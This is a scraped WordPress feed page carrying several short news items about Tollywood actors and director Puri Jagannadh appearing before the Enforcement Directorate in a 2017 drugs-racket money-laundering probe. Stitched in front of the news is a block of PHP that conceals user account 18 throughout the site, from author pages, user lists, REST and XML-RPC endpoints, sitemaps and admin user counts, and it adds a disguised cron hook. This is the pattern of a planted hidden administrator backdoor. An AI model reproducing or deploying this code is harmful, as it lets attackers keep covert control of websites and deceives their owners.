add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Rakul Preet Singh appears before ED appeared first on The Edge Media.
]]>12 big names from the industry including Rana Daggubati, Ravi Teja, Puri Jagannadh, Navdeep and others have been summoned by the agency for questioning. Many of these personalities were previously questioned by a Special Investigation Team (SIT) of Telangana’s Prohibition and Excise department. The drugs racket was busted on July 2, 2017 when customs officials arrested Calvin Mascarenhas, a musician, and two others and seized drugs valued at Rs 30 lakh from their possession.
They had reportedly told the investigators that they are supplying drugs to film celebrities, software engineers, and even students of some corporate schools. Mobile numbers of some Tollywood celebrities were allegedly found in their contact lists.
The Excise Department had constituted SIT for a comprehensive probe. A total of 12 cases were registered, 30 people were arrested, while 62 individuals including 11 people connected with Tollywood were examined by it under Section 67 of the Narcotic Drugs and Psychotropic Substances (NDPS) Act and Section 161 of Criminal Procedure Code.
The SIT had collected blood, hair, nail and other samples from some of those who appeared before it for question and sent them for analysis. Ravi Teja, Charmme Kaur, Mumaith Khan, Jagannadh and young actors Tarun Kumar and Navadeep were among the stars who were questioned by the SIT.
Cinematographer Shyam K. Naidu, actors Subbaraju, Tanish, Nandu and Teja’s driver were also among those questioned. The SIT filed chargesheet in eight out of 12 cases. It, however, gave clean chit to the film personalities who were questioned as part of the investigation.
The accused against whom cases were booked include Rafeal Alex Victor, a South African citizen, Puttakar Ranson Joseph, working in the film industry as a manager. Joseph was the manager of leading actor Kajal Agarwal who sacked him after his arrest. An NGO, however, alleged that no attempt was made to trace the customers of the accused.
The authorities had recovered 3,000 units of Lysergic Acid Diethylamide (LSD), 105 grams of MDMA (commonly known as ecstasy), 45 grams of cocaine and other narcotic and psychotropic substances from the accused.
-With ANI inputs
The post Rakul Preet Singh appears before ED appeared first on The Edge Media.
]]>The post Charmee Kaur appears before ED appeared first on The Edge Media.
]]>She is the second Tollywood personality to appear before ED. Earlier, director Puri Jagannadh was questioned for nearly 10 hours on Tuesday. The ED last week issued notices to 10 persons connected to Tollywood and two others including a private club manager as part of a money laundering probe linked to the drugs racket.
Actors Rakul Preet Singh, Rana Daggubati, Ravi Teja, Charmee Kaur, Navdeep, Mumaith Khan and director Puri Jagnnadh have been asked to appear before ED between August 31 and September 22. Tanish, Nandu, actor Ravi Teja’s driver Srinivas are also among those summoned in connection the drugs racket which was busted with the arrest of drug peddlers in 2017.
The ED also gathered details of the investigations conducted by the Special Investigation Team (SIT) of Telangana’s prohibition and excise department. The drugs racket was busted on July 2, 2017 when customs officials arrested Calvin Mascarenhas, a musician, and two others and seized drugs worth Rs 30 lakh from their possession.
They had reportedly told the investigators that they are supplying drugs to film celebrities, software engineers, and even students of some corporate schools. Mobile numbers of some Tollywood celebrities were allegedly found in their contact lists.
The post Charmee Kaur appears before ED appeared first on The Edge Media.
]]>The post Puri Jagannadh appears before ED appeared first on The Edge Media.
]]>Besides Jagganadh, actors Rakul Preet Singh, Rana Daggubati, Ravi Teja, Charmee Kaur, Navdeep, Mumaith Khan have been asked to appear before ED between August 31 and September 22
Tanish, Nandu, actor Ravi Teja’s driver Srinivas were also among those summoned.
The questioning is likely to bring to light new facts about the racket which was busted with the arrest of drug peddlers in 2017.
Before beginning the questioning of Tollywood personalities, the ED gathered details of the investigations conducted by the Special Investigation Team (SIT) of Telangana’s prohibition and excise department.
The questioning by the ED has brought the focus back on the case, which was in cold storage and was even considered dead by many due to the clean chit given by SIT to the film personalities.
The racket was busted on July 2, 2017 when customs officials arrested Calvin Mascarenhas, a musician, and two others and seized drugs worth Rs 30 lakh from their possession.
The post Puri Jagannadh appears before ED appeared first on The Edge Media.
]]>